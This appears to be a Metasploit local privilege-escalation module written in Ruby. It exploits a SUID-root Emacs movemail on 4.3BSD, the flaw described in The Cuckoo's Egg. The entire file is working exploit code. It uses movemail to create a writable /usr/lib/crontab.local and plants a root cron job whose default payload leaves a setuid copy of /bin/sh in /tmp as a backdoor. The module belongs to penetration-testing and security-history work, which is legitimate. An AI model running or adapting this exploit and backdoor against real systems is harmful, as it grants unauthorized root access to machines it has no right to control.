1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Emacs movemail Privilege Escalation',
'Description' => %q{
This module exploits a SUID installation of the Emacs movemail utility
to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.
The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
},
'Author' => [
'Markus Hess', # Discovery? atrun(8) exploit for sure
'Cliff Stoll', # The Cuckoo's Egg hacker tracker
'wvu' # Module and additional research
],
'References' => [
%w[URL https://en.wikipedia.org/wiki/Movemail],
%w[URL https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg],
%w[URL http://pdf.textfiles.com/academics/wilyhacker.pdf],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html],
%w[URL https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html],
%w[URL https://mailutils.org/manual/html_node/movemail.html]
],
'DisclosureDate' => '1986-08-01', # Day unknown, assuming first of month
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w[shell],
'Privileged' => true,
'Payload' => {'BadChars' => "\n", 'Encoder' => 'generic/none'},
'Targets' => [['/usr/lib/crontab.local', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'cp /bin/sh /tmp && chmod u+s /tmp/sh'
}
))
register_options([
OptString.new('MOVEMAIL', [true, 'Path to movemail', '/etc/movemail'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def bin_path
'/bin:/usr/bin:/usr/ucb:/etc'
end
def movemail
datastore['MOVEMAIL']
end
def crontab_local
'/usr/lib/crontab.local'
end
def crontab(cmd)
"* * * * * root #{cmd}\n* * * * * root rm -f #{crontab_local}"
end
# uname(1) does not exist, technique from /etc/rc.local
def is_43bsd?
cmd_exec('strings /vmunix | grep UNIX').include?('4.3 BSD')
end
# id(1) does not exist
def is_root?
cmd_exec('whoami').include?('root')
end
# test -u does not exist
def setuid_root?(path)
cmd_exec("find #{path} -user root -perm -4000 -print").include?(path)
end
def setup
super
vprint_status("Setting a sane $PATH: #{bin_path}")
case cmd_exec('echo $SHELL')
when %r{/bin/sh}
vprint_status('Current shell is /bin/sh')
cmd_exec("PATH=#{bin_path}; export PATH")
when %r{/bin/csh}
vprint_status('Current shell is /bin/csh')
cmd_exec("setenv PATH #{bin_path}")
else
vprint_bad('Current shell is unknown')
end
vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
end
def check
unless is_43bsd?
vprint_warning('System does not appear to be 4.3BSD')
end
unless file?(movemail)
vprint_bad("#{movemail} not found")
return CheckCode::Safe
end
unless movemail.end_with?('movemail')
vprint_warning("#{movemail} has an unexpected name")
end
unless setuid_root?(movemail)
vprint_status("Non-SUID-root #{movemail} found")
return CheckCode::Detected
end
vprint_good("SUID-root #{movemail} found")
CheckCode::Appears
end
def exploit
if is_root?
print_good('Session is already root, executing payload directly')
return cmd_exec(payload.encoded)
end
unless check == CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
if file?(crontab_local)
fail_with(Failure::NoTarget, "#{crontab_local} already exists")
end
print_status('Preparing crontab with payload')
tab = crontab(payload.encoded)
vprint_line(tab)
# umask (umask (0) & 0333);
# (void) ftruncate (indesc, 0L);
print_status("Creating writable #{crontab_local}")
cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")
unless writable?(crontab_local)
fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
end
print_good("Writing crontab to #{crontab_local}")
cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
print_warning('Please wait at least one minute for effect')
end
end
|